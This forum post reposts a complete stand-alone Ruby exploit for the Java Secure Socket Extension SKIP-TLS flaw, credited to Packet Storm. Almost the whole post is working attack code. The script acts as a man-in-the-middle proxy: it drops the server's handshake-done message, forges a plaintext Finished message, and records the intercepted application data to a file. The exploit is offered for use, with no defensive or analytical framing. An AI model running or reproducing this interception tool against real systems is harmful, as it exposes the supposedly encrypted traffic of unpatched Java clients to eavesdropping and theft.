Jump to content
KhiZaRix

Java Secure Socket Extension (JSSE) SKIP-TLS

Recommended Posts

Java Secure Socket Extension (JSSE) SKIP-TLS exploit that has been tested on JDK 8u25 and 7u72. This is a stand-alone ruby exploit and does not require Metasploit.


#!/usr/bin/env ruby
# encoding: ASCII-8BIT
# By Ramon de C Valle. This work is dedicated to the public domain.

require 'openssl'
require 'optparse'
require 'socket'

Version = [0, 0, 1]
Release = nil

def prf(secret, label, seed)
if secret.empty?
s1 = s2 = ''
else
length = ((secret.length * 1.0) / 2).ceil
s1 = secret[0..(length - 1)]
s2 = secret[(length - 1)..(secret.length - 1)]
end

hmac_md5 = OpenSSL::HMAC.digest(OpenSSL::Digest.new('md5'), s1, label + seed)
hmac_md5 = OpenSSL::HMAC.digest(OpenSSL::Digest.new('md5'), s1, hmac_md5 + label + seed)

hmac_sha1 = OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha1'), s2, label + seed)
hmac_sha1 = OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha1'), s2, hmac_sha1 + label + seed)

result = ''
[hmac_md5.length, hmac_sha1.length].max.times { |i| result << [(hmac_md5.getbyte(i) || 0) ^ (hmac_sha1.getbyte(i) || 0)].pack('C') }
result
end

def prf_sha256(secret, label, seed)
hmac_sha256 = OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha256'), secret, label + seed)
OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha256'), secret, hmac_sha256 + label + seed)
end

class String
def hexdump(stream=$stdout)
0.step(bytesize - 1, 16) do |i|
stream.printf('%08x ', i)

0.upto(15) do |j|
stream.printf(' ') if j == 8

if i + j >= bytesize
stream.printf(' ')
else
stream.printf('%02x ', getbyte(i + j))
end
end

stream.printf(' ')

0.upto(15) do |j|
if i + j >= bytesize
stream.printf(' ')
else
if /[[:print:]]/ === getbyte(i + j).chr && /[^[:space:]]/ === getbyte(i + j).chr
stream.printf('%c', getbyte(i + j))
else
stream.printf('.')
end
end
end

stream.printf("\n")
end
end
end

options = {}

OptionParser.new do |parser|
parser.banner = "Usage: #{parser.program_name} [options] host"

parser.separator('')
parser.separator('Options:')

parser.on('-H', '--local-host HOST', 'Local host') do |host|
options[:local_host] = host
end

parser.on('-P', '--local-port PORT', 'Local port') do |port|
options[:local_port] = port
end

parser.on('-d', '--debug', 'Debug mode') do
options[:debug] = true
end

parser.on('-h', '--help', 'Show this message') do
puts parser
exit
end

parser.on('-o', '--output FILE', 'Output file') do |file|
options[:file] = File.new(file, 'w+b')
end

parser.on('-p', '--port PORT', 'Port') do |port|
options[:port] = port
end

parser.on('-v', '--verbose', 'Verbose mode') do
options[:verbose] = true
end

parser.on('--version', 'Show version') do
puts parser.ver
exit
end
end.parse!

local_host = options[:local_host] || '0.0.0.0'
local_port = options[:local_port] || 443
debug = options[:debug] || false
file = options[:file] || nil
host = ARGV[0] or fail ArgumentError, 'no host given'
port = options[:port] || 443
verbose = options[:verbose] || false

proxy = TCPServer.new(local_host, local_port)
puts 'Listening on %s:%d' % [proxy.addr[2], proxy.addr[1]] if debug || verbose

loop do
Thread.start(proxy.accept) do |client|
puts 'Accepted connection from %s:%d' % [client.peeraddr[2], client.peeraddr[1]] if debug || verbose

finished_sent = false
handshake_messages = ''
version = ''

context = OpenSSL::SSL::SSLContext.new(:TLSv1)
context.verify_mode = OpenSSL::SSL::VERIFY_NONE

tcp_socket = TCPSocket.new(host, port)
ssl_server = OpenSSL::SSL::SSLSocket.new(tcp_socket, context)
ssl_server.connect

puts 'Connected to %s:%d' % [ssl_server.peeraddr[2], ssl_server.peeraddr[1]] if debug || verbose

server = TCPSocket.new(host, port)

puts 'Connected to %s:%d' % [server.peeraddr[2], server.peeraddr[1]] if debug || verbose

loop do
readable, = IO.select([client, server])

readable.each do |r|
if r == ssl_server
# ssl_server is an SSL socket; read application data directly
header = ''
fragment = r.readpartial(4096)
fragment.hexdump($stderr) if debug
puts '%d bytes received' % [fragment.bytesize] if debug || verbose
else
header = r.read(5)
raise EOFError if header.nil?
header.hexdump($stderr) if debug
puts '%d bytes received' % [header.bytesize] if debug || verbose

fragment = r.read(header[3, 2].unpack('n')[0])
fragment.hexdump($stderr) if debug
puts '%d bytes received' % [fragment.bytesize] if debug || verbose
end

if finished_sent
if file
# Save application data
file.write(fragment)
file.flush
file.fsync
end
elsif fragment =~ /^\x0e\x00\x00\x00/ # server_hello_done
# Drop the server hello done message and send the finished
# message in plaintext.
if header[2, 1] == "\x03"
verify_data = prf_sha256('', 'server finished', OpenSSL::Digest::SHA256.digest(handshake_messages))
verify_data = verify_data[0, 12]
else
verify_data = prf('', 'server finished', OpenSSL::Digest::MD5.digest(handshake_messages) + OpenSSL::Digest::SHA1.digest(handshake_messages))
verify_data = verify_data[0, 12]
end

finished = "\x14#{[verify_data.length].pack('N')[1, 3]}#{verify_data}"
record = header[0, 3] + [finished.length].pack('n') + finished

count = client.write(record)
client.flush
record.hexdump($stderr) if debug
puts '%d bytes sent' % [count] if debug || verbose

finished_sent = true

# Change to the SSL socket
server.close
server = ssl_server

# Save version used in the handshake
version = header[2, 1]

next
else
# Save handshake messages
handshake_messages << fragment
end

case r
when client
if finished_sent
# server is an SSL socket
count = server.write(fragment)
server.flush
fragment.hexdump($stderr) if debug
puts '%d bytes sent' % [count] if debug || verbose
else
# server isn't an SSL socket
record = header + fragment
count = server.write(record)
server.flush
record.hexdump($stderr) if debug
puts '%d bytes sent' % [count] if debug || verbose
end

when ssl_server
# client isn't an SSL socket; add the record layer header with
# the same version used in the handshake.
header = "\x17\x03#{version}" + [fragment.length].pack('n')
record = header + fragment
count = client.write(record)
client.flush
record.hexdump($stderr) if debug
puts '%d bytes sent' % [count] if debug || verbose

when server
record = header + fragment
count = client.write(record)
client.flush
record.hexdump($stderr) if debug
puts '%d bytes sent' % [count] if debug || verbose
end
end
end

client.close
server.close
end
end

proxy.close

Source: https://dl.packetstormsecurity.net/1511-exploits/rcvalle_skiptls.rb.txt

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...